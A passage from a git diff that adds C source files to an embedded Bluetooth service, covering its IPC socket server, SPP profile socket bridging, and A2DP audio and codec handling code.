BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_BLE_ADVERTISER_BEGIN, BT_IPC_CODE_COMMAND_BLE_ADVERTISER_END)) { + bt_socket_server_advertiser_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_SCAN_MESSAGE_START, BT_SCAN_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_BLE_SCAN_BEGIN, BT_IPC_CODE_COMMAND_BLE_SCAN_END)) { + bt_socket_server_scan_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_GATT_CLIENT_MESSAGE_START, BT_GATT_CLIENT_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_GATTC_BEGIN, BT_IPC_CODE_COMMAND_GATTC_END)) { + bt_socket_server_gattc_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_GATT_SERVER_MESSAGE_START, BT_GATT_SERVER_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_GATTS_BEGIN, BT_IPC_CODE_COMMAND_GATTS_END)) { + bt_socket_server_gatts_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_SPP + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_SPP_MESSAGE_START, BT_SPP_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_SPP_BEGIN, BT_IPC_CODE_COMMAND_SPP_END)) { + bt_socket_server_spp_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_PAN + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_PAN_MESSAGE_START, BT_PAN_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_PAN_BEGIN, BT_IPC_CODE_COMMAND_PAN_END)) { + bt_socket_server_pan_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_HID_DEVICE_MESSAGE_START, BT_HID_DEVICE_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_HID_DEV_BEGIN, BT_IPC_CODE_COMMAND_HID_DEV_END)) { + bt_socket_server_hid_device_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_L2CAP_MESSAGE_START, BT_L2CAP_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_L2CAP_BEGIN, BT_IPC_CODE_COMMAND_L2CAP_END)) { + bt_socket_server_l2cap_process(poll, fd, ins, packet); +#endif +#ifdef CONFIG_BLUETOOTH_LOG + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_LOG_MESSAGE_START, BT_LOG_MESSAGE_END) + || BT_IPC_CODE_CHECK_RANGE(packet->code, BT_IPC_CODE_COMMAND_LOG_BEGIN, BT_IPC_CODE_COMMAND_LOG_END)) { + bt_socket_server_log_process(poll, fd, ins, packet); +#endif + } else { + BT_LOGE("%s, Unhandled message:%" PRIu32, __func__, packet->code); + assert(0); + return BT_STATUS_PARM_INVALID; + } + + return bt_socket_server_send(ins, packet, packet->code); +} + +static void bt_unregister_callbacks(bt_instance_t* ins) +{ + bt_message_packet_t packet; + profile_msg_t msg; + + // unreigster adapter callback + packet.code = BT_ADAPTER_UNREGISTER_CALLBACK; + bt_socket_server_adapter_process(ins->poll, ins->peer_fd, ins, &packet); + + // unregsiter profile callback + msg.event = PROFILE_EVT_REMOTE_DETACH; + msg.data.data = ins; + service_manager_processmsg(&msg); + + // TODO: unregister other Profile callback(GATT, LE ADV, LE SCAN) +} + +static void bt_socket_server_ins_release(bt_instance_t* ins) +{ + struct list_node* node; + struct list_node* tmp; + + bt_unregister_callbacks(ins); + + if (ins->poll) + service_loop_remove_poll(ins->poll); + + list_for_every_safe(&ins->msg_queue, node, tmp) + { + list_delete(node); + free(node); + } + + if (ins->peer_fd) + close(ins->peer_fd); + + if (ins->packet) + free(ins->packet); + + bt_list_remove(g_instances_list, ins); + free(ins); +} + +static void cnt_msg_queue(void* data, void* context) +{ + bt_instance_t* ins = (bt_instance_t*)data; + uint32_t* p_cnt = (uint32_t*)context; + + *p_cnt += list_length(&ins->msg_queue); +} + +static void bt_socket_server_handle_event(service_poll_t* poll, + int revent, void* userdata) +{ + uv_os_fd_t fd; + int ret; + bt_instance_t* ins = userdata; + + ret = uv_fileno((uv_handle_t*)&poll->handle, &fd); + if (ret) { + bt_socket_server_ins_release(ins); + return; + } + + if (revent & POLL_ERROR || revent & POLL_DISCONNECT) { + BT_LOGE("%s, revent = %d", __func__, revent); + bt_socket_server_ins_release(ins); + } else if (revent & POLL_READABLE) { + ret = bt_socket_server_receive(poll, fd, userdata); + if (ret) + bt_socket_server_ins_release(ins); + } else if (revent & POLL_WRITABLE) { + bt_socket_server_trysend(ins); + } +} + +static void bt_socket_server_callback(service_poll_t* poll, + int revent, void* userdata) +{ + bt_instance_t* remote_ins; + uv_os_fd_t fd; + int ret; + + ret = uv_fileno((uv_handle_t*)&poll->handle, &fd); + if (ret) { + service_loop_remove_poll(poll); + return; + } + + fd = accept(fd, NULL, NULL); + if (fd < 0) + return; + + if (revent & POLL_ERROR || revent & POLL_DISCONNECT) { + service_loop_remove_poll(poll); + close(fd); + return; + } + +#ifdef CONFIG_NET_SOCKOPTS + setSocketBuf(fd, SO_RCVBUF); + setSocketBuf(fd, SO_SNDBUF); +#endif + + remote_ins = zalloc(sizeof(bt_instance_t)); + if (!remote_ins) + goto error; + + remote_ins->packet = zalloc(sizeof(bt_message_packet_t)); + if (!remote_ins->packet) + goto error; + + list_initialize(&remote_ins->msg_queue); + remote_ins->peer_fd = fd; + remote_ins->poll = service_loop_poll_fd(fd, POLL_READABLE | POLL_DISCONNECT, + bt_socket_server_handle_event, remote_ins); + if (!remote_ins->poll) + goto error; + + bt_list_add_tail(g_instances_list, remote_ins); + return; + +error: + if (fd >= 0) + close(fd); + if (remote_ins) { + if (remote_ins->packet) + free(remote_ins->packet); + free(remote_ins); + } +} + +static int bt_socket_server_listen(int family, const char* name, int port) +{ + union { + struct sockaddr_in inet_addr; + struct sockaddr_un local_addr; +#ifdef CONFIG_NET_RPMSG + struct sockaddr_rpmsg rpmsg_addr; +#endif + } u = { 0 }; + int addr_len; + int ret; + int fd; + + fd = socket(family, SOCK_STREAM | SOCK_NONBLOCK, 0); + if (fd < 0) + return -errno; + + if (family == PF_LOCAL) { + u.local_addr.sun_family = AF_LOCAL; + snprintf(u.local_addr.sun_path, UNIX_PATH_MAX, + BLUETOOTH_SOCKADDR_NAME, name); + addr_len = sizeof(struct sockaddr_un); + } else if (family == AF_INET) { + u.inet_addr.sin_family = AF_INET; + u.inet_addr.sin_addr.s_addr = htonl(INADDR_ANY); + u.inet_addr.sin_port = htons(port); + addr_len = sizeof(struct sockaddr_in); +#ifdef CONFIG_NET_RPMSG + } else if (family == AF_RPMSG) { + u.rpmsg_addr.rp_family = AF_RPMSG; + snprintf(u.rpmsg_addr.rp_name, RPMSG_SOCKET_NAME_SIZE, + BLUETOOTH_SOCKADDR_NAME, name); + strcpy(u.rpmsg_addr.rp_cpu, ""); + addr_len = sizeof(struct sockaddr_rpmsg); +#endif + } else { + close(fd); + return -EPFNOSUPPORT; + } + + ret = bind(fd, (struct sockaddr*)&u, addr_len); + if (ret >= 0) + ret = listen(fd, BLUETOOTH_SERVER_MAXCONN); + + if (ret < 0) { + close(fd); + return -errno; + } + + return fd; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +int bt_socket_server_send(bt_instance_t* ins, bt_message_packet_t* packet, + uint32_t code) +{ + bt_packet_cache_t* cache; + int ret; + + if (bt_socket_server_is_ins_detached(ins)) + return -1; + + packet->code = code; + + ret = bt_socket_server_trysend(ins); + if (ret == 0) { + ret = bt_socket_server_send_internal(ins, packet, sizeof(*packet), 0); + if (ret < 0) { + service_loop_remove_poll(ins->poll); + ins->poll = NULL; + return ret; + } + } else { + ret = 0; + } + + if (ret != sizeof(*packet) && ins->poll) { + cache = malloc(sizeof(*cache)); + if (cache == NULL) { + BT_DFX_IPC_ALLOC_ERROR(BT_DFXE_SERVER_CACHE_ALLOC_FAIL, code); + return BT_STATUS_NOMEM; + } + + list_add_tail(&ins->msg_queue, &cache->node); + memcpy(&cache->packet, packet, sizeof(*packet)); + cache->offset = ret; + + service_loop_reset_poll(ins->poll, POLL_READABLE | POLL_WRITABLE); + } + + return 0; +} + +int bt_socket_server_init(const char* name, int port) +{ + service_poll_t* lpoll = NULL; + int local; +#ifdef CONFIG_BLUETOOTH_NET_IPv4 + service_poll_t* ipoll = NULL; + int inet = -1; +#endif +#ifdef CONFIG_NET_RPMSG + service_poll_t* rpoll = NULL; + int rpmsg = -1; +#endif + + g_instances_list = bt_list_new(NULL); + local = bt_socket_server_listen(PF_LOCAL, name, port); + if (local <= 0) + goto fail; + + lpoll = service_loop_poll_fd(local, POLL_READABLE, + bt_socket_server_callback, NULL); + if (lpoll == NULL) + goto fail; + +#ifdef CONFIG_BLUETOOTH_NET_IPv4 + inet = bt_socket_server_listen(AF_INET, name, port); + if (inet <= 0) + goto fail; + + ipoll = service_loop_poll_fd(inet, POLL_READABLE, + bt_socket_server_callback, NULL); + if (ipoll == NULL) + goto fail; +#endif +#ifdef CONFIG_NET_RPMSG + rpmsg = bt_socket_server_listen(AF_RPMSG, name, port); + if (rpmsg <= 0) + goto fail; + + rpoll = service_loop_poll_fd(rpmsg, POLL_READABLE, + bt_socket_server_callback, NULL); + if (rpoll == NULL) + goto fail; +#endif + + return OK; + +fail: + if (g_instances_list) + bt_list_free(g_instances_list); + g_instances_list = NULL; + + if (lpoll != NULL) + service_loop_remove_poll(lpoll); + if (local > 0) + close(local); + +#ifdef CONFIG_BLUETOOTH_NET_IPv4 + if (ipoll != NULL) + service_loop_remove_poll(ipoll); + if (inet > 0) + close(inet); +#endif + +#ifdef CONFIG_NET_RPMSG + /* rpoll must be NULL at this position */ + if (rpmsg > 0) + close(rpmsg); +#endif + + return -EINVAL; +} + +bool bt_socket_server_is_busy(void) +{ + uint32_t msg_cnt = 0; + + bt_list_foreach(g_instances_list, cnt_msg_queue, &msg_cnt); + + return msg_cnt > 0; +} diff --git a/service/ipc/socket/src/bt_socket_spp.c b/service/ipc/socket/src/bt_socket_spp.c new file mode 100644 index 0000000000000000000000000000000000000000..411e8399e967277e6d82f417a807533b8cc3513a --- /dev/null +++ b/service/ipc/socket/src/bt_socket_spp.c @@ -0,0 +1,225 @@ +/**************************************************************************** + * frameworks/media/media_daemon.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "bluetooth.h" +#include "bt_config.h" +#include "bt_debug.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "bt_spp.h" +#include "callbacks_list.h" +#include "manager_service.h" +#include "service_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->spp_callbacks : ins->spp_callbacks) + +#ifdef CONFIG_RPMSG_UART +#define SPP_UART_DEV "/dev/ttyDROID" +#endif + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +#include "service_manager.h" +#include "spp_service.h" + +static void spp_proxy_state_cb(void* handle, bt_address_t* addr, spp_proxy_state_t state, uint16_t scn, uint16_t port, char* name) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = handle; + + memcpy(&packet.spp_cb._proxy_state_cb.addr, addr, sizeof(*addr)); + packet.spp_cb._proxy_state_cb.state = state; + packet.spp_cb._proxy_state_cb.scn = scn; + packet.spp_cb._proxy_state_cb.port = port; + if (name && strlen(name)) + strncpy(packet.spp_cb._proxy_state_cb.name, name, sizeof(packet.spp_cb._proxy_state_cb.name) - 1); + + bt_socket_server_send(ins, &packet, BT_SPP_PROXY_STATE_CB); +} + +static void spp_connection_state_cb(void* handle, bt_address_t* addr, + uint16_t scn, uint16_t port, + profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = handle; + + memcpy(&packet.spp_cb._connection_state_cb.addr, addr, sizeof(*addr)); + packet.spp_cb._connection_state_cb.scn = scn; + packet.spp_cb._connection_state_cb.port = port; + packet.spp_cb._connection_state_cb.state = state; + + bt_socket_server_send(ins, &packet, BT_SPP_CONNECTION_STATE_CB); +} +static spp_callbacks_t g_spp_socket_cb = { + .size = sizeof(g_spp_socket_cb), + .connection_state_cb = spp_connection_state_cb, + .proxy_state_cb = spp_proxy_state_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_spp_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + spp_interface_t* profile = (spp_interface_t*)service_manager_get_profile(PROFILE_SPP); + + switch (packet->code) { + case BT_SPP_REGISTER_APP: { + if (ins->spp_cookie == NULL) { + ins->spp_cookie = profile->register_app(ins, packet->spp_pl._bt_spp_register_app.name_len ? packet->spp_pl._bt_spp_register_app.name : NULL, &g_spp_socket_cb); + packet->spp_r.handle = PTR2INT(uint64_t) ins->spp_cookie; + } else { + packet->spp_r.handle = 0; + } + break; + } + case BT_SPP_UNREGISTER_APP: { + if (ins->spp_cookie) { + void* handle = NULL; + packet->spp_r.status = profile->unregister_app(&handle, ins->spp_cookie); + ins->spp_cookie = NULL; + } + break; + } + case BT_SPP_SERVER_START: { + packet->spp_r.status = profile->server_start(ins->spp_cookie, + packet->spp_pl._bt_spp_server_start.scn, + &packet->spp_pl._bt_spp_server_start.uuid, + packet->spp_pl._bt_spp_server_start.max_connection); + break; + } + case BT_SPP_SERVER_STOP: { + packet->spp_r.status = profile->server_stop(ins->spp_cookie, + packet->spp_pl._bt_spp_server_stop.scn); + break; + } + case BT_SPP_CONNECT: { + packet->spp_r.status = profile->connect(ins->spp_cookie, + &packet->spp_pl._bt_spp_connect.addr, + packet->spp_pl._bt_spp_connect.scn, + &packet->spp_pl._bt_spp_connect.uuid, + &packet->spp_pl._bt_spp_connect.port); + break; + } + case BT_SPP_DISCONNECT: { + packet->spp_r.status = profile->disconnect(ins->spp_cookie, + &packet->spp_pl._bt_spp_disconnect.addr, + packet->spp_pl._bt_spp_disconnect.port); + break; + } + default: + break; + } +} +#endif + +#if !defined(CONFIG_BLUETOOTH_SERVER) && defined(CONFIG_BLUETOOTH_RPMSG_CPUNAME) +static bool rpmsg_tty_mount_path(const char* src, char* dest, int len, const char* mount_cpu) +{ + char* path = strstr(src, "/dev/"); + + if (!path || path != src) { + return false; + } + +#if defined(CONFIG_RPMSG_UART) + strlcpy(dest, SPP_UART_DEV, len); +#else + if (snprintf(dest, len, "/dev/%s/%s", mount_cpu, src + 5) < 0) + return false; +#endif + + return true; +} +#endif + +int bt_socket_client_spp_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_SPP_PROXY_STATE_CB: { + char* name = packet->spp_cb._proxy_state_cb.name; +#if !defined(CONFIG_BLUETOOTH_SERVER) && defined(CONFIG_BLUETOOTH_RPMSG_CPUNAME) + char rename[64]; + if (rpmsg_tty_mount_path(name, rename, 64, CONFIG_BLUETOOTH_RPMSG_CPUNAME)) + name = rename; +#endif + CALLBACK_FOREACH(CBLIST, spp_callbacks_t, + proxy_state_cb, + &packet->spp_cb._proxy_state_cb.addr, + packet->spp_cb._proxy_state_cb.state, + packet->spp_cb._proxy_state_cb.scn, + packet->spp_cb._proxy_state_cb.port, + name); + break; + } + case BT_SPP_CONNECTION_STATE_CB: { + CALLBACK_FOREACH(CBLIST, spp_callbacks_t, + connection_state_cb, + &packet->spp_cb._connection_state_cb.addr, + packet->spp_cb._connection_state_cb.scn, + packet->spp_cb._connection_state_cb.port, + packet->spp_cb._connection_state_cb.state); + break; + } + + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/profiles/a2dp/a2dp_audio.c b/service/profiles/a2dp/a2dp_audio.c new file mode 100644 index 0000000000000000000000000000000000000000..070c97764df0f3e5247908a1787948554b6056fd --- /dev/null +++ b/service/profiles/a2dp/a2dp_audio.c @@ -0,0 +1,146 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include "a2dp_control.h" +#include "a2dp_device.h" +#include "a2dp_sink_audio.h" +#include "a2dp_source_audio.h" +#include "bt_utils.h" +#include <stdio.h> +#include <stdlib.h> +#define LOG_TAG "a2dp_audio" +#include "utils/log.h" + +static int g_audio_flag = 0; + +bool a2dp_audio_on_connection_changed(uint8_t peer_sep, bool connected) +{ + BT_LOGD("%s, %d", __func__, connected); + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (peer_sep == SEP_SNK) + return a2dp_source_on_connection_changed(connected); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (peer_sep == SEP_SRC) + return a2dp_sink_on_connection_changed(connected); +#endif + return false; +} + +void a2dp_audio_on_started(uint8_t peer_sep, bool started) +{ + BT_LOGD("%s: %d", __func__, started); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (peer_sep == SEP_SNK) + a2dp_source_on_started(started); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (peer_sep == SEP_SRC) + a2dp_sink_on_started(started); +#endif +} + +void a2dp_audio_on_stopped(uint8_t peer_sep) +{ + BT_LOGD("%s", __func__); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (peer_sep == SEP_SNK) + a2dp_source_on_stopped(); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (peer_sep == SEP_SRC) + a2dp_sink_on_stopped(); +#endif +} + +void a2dp_audio_prepare_suspend(uint8_t peer_sep) +{ + BT_LOGD("%s", __func__); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (peer_sep == SEP_SNK) + a2dp_source_prepare_suspend(); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (peer_sep == SEP_SRC) + a2dp_sink_prepare_suspend(); +#endif +} + +void a2dp_audio_setup_codec(uint8_t peer_sep, bt_address_t* bd_addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (peer_sep == SEP_SNK) + a2dp_source_setup_codec(bd_addr); + else +#endif + { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_setup_codec(bd_addr); +#endif + } +} + +void a2dp_audio_init(uint8_t svr_class, bool offloading) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (svr_class == SVR_SOURCE) { + a2dp_source_audio_init(offloading); + g_audio_flag |= 1 << SVR_SOURCE; + } else +#endif + { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_audio_init(); + g_audio_flag |= 1 << SVR_SINK; +#endif + } +} + +void a2dp_audio_cleanup(uint8_t svr_class) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (svr_class == SVR_SOURCE) { + a2dp_source_audio_cleanup(); + g_audio_flag &= ~(1 << SVR_SOURCE); + } else +#endif + { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_sink_audio_cleanup(); + g_audio_flag &= ~(1 << SVR_SINK); +#endif + } + + if (!g_audio_flag) + a2dp_control_cleanup(); +} diff --git a/service/profiles/a2dp/a2dp_audio.h b/service/profiles/a2dp/a2dp_audio.h new file mode 100644 index 0000000000000000000000000000000000000000..e3a731eb0a9310b43ba920a165fa7eeced25701b --- /dev/null +++ b/service/profiles/a2dp/a2dp_audio.h @@ -0,0 +1,47 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_AUDIO_H__ +#define __A2DP_AUDIO_H__ + +#include "bluetooth_define.h" + +bool a2dp_audio_on_connection_changed(uint8_t peer_sep, bool connected); +void a2dp_audio_on_started(uint8_t peer_sep, bool started); +void a2dp_audio_on_stopped(uint8_t peer_sep); +void a2dp_audio_prepare_suspend(uint8_t peer_sep); +void a2dp_audio_setup_codec(uint8_t peer_sep, bt_address_t* bd_addr); + +void a2dp_audio_init(uint8_t svr_class, bool offloading); +void a2dp_audio_cleanup(uint8_t svr_class); + +#endif diff --git a/service/profiles/a2dp/a2dp_codec.c b/service/profiles/a2dp/a2dp_codec.c new file mode 100644 index 0000000000000000000000000000000000000000..8b5cad84a9338a23cd59291a83bf8ba67babe3e0 --- /dev/null +++ b/service/profiles/a2dp/a2dp_codec.c @@ -0,0 +1,106 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "a2dp_codec.h" +#include "a2dp_device.h" +#include "a2dp_source_audio.h" +#include "bt_vendor.h" + +#define LOG_TAG "a2dp_codec" +#include "utils/log.h" + +a2dp_codec_config_t g_current_config; + +static void a2dp_codec_config_set(uint8_t peer_sep, a2dp_codec_config_t* config, uint16_t mtu) +{ + if (config->codec_type == BTS_A2DP_TYPE_SBC) { + if (peer_sep == SEP_SNK) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + a2dp_source_sbc_update_config(mtu, &config->codec_param.sbc, config->specific_info); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_codec_parse_sbc_param(&config->codec_param.sbc, config->specific_info); +#endif + } + config->bit_rate = config->codec_param.sbc.u32BitRate; +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + } else if (config->codec_type == BTS_A2DP_TYPE_MPEG2_4_AAC) { + if (peer_sep == SEP_SNK) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + a2dp_source_aac_update_config(mtu, &config->codec_param.aac, config->specific_info); +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + a2dp_codec_parse_aac_param(&config->codec_param.aac, config->specific_info, 0); +#endif + } + config->bit_rate = config->codec_param.aac.u32BitRate; +#endif + } else { + BT_LOGE("%s Unkonw Codec", __func__); + } + + memcpy(&g_current_config, config, sizeof(g_current_config)); +} + +void a2dp_codec_set_config(uint8_t peer_sep, a2dp_codec_config_t* config) +{ + a2dp_codec_config_set(peer_sep, config, 0); +} + +void a2dp_codec_update_config(uint8_t peer_sep, a2dp_codec_config_t* config, uint16_t mtu) +{ + a2dp_codec_config_set(peer_sep, config, mtu); +} + +a2dp_codec_config_t* a2dp_codec_get_config(void) +{ + return &g_current_config; +} + +bool a2dp_codec_get_offload_config(a2dp_offload_config_t* offload) +{ + a2dp_codec_config_t* codec = &g_current_config; + + switch (codec->codec_type) { + case BTS_A2DP_TYPE_SBC: + return a2dp_source_sbc_get_offload_config(codec, offload); + + case BTS_A2DP_TYPE_MPEG2_4_AAC: + default: + return false; + } +} \ No newline at end of file diff --git a/service/profiles/a2dp/a2dp_codec.h b/service/profiles/a2dp/a2dp_codec.h new file mode 100644 index 0000000000000000000000000000000000000000..fc2bd468b2322ad71fe26019a1a4a32514b8fddc --- /dev/null +++ b/service/profiles/a2dp/a2dp_codec.h @@ -0,0 +1,90 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without 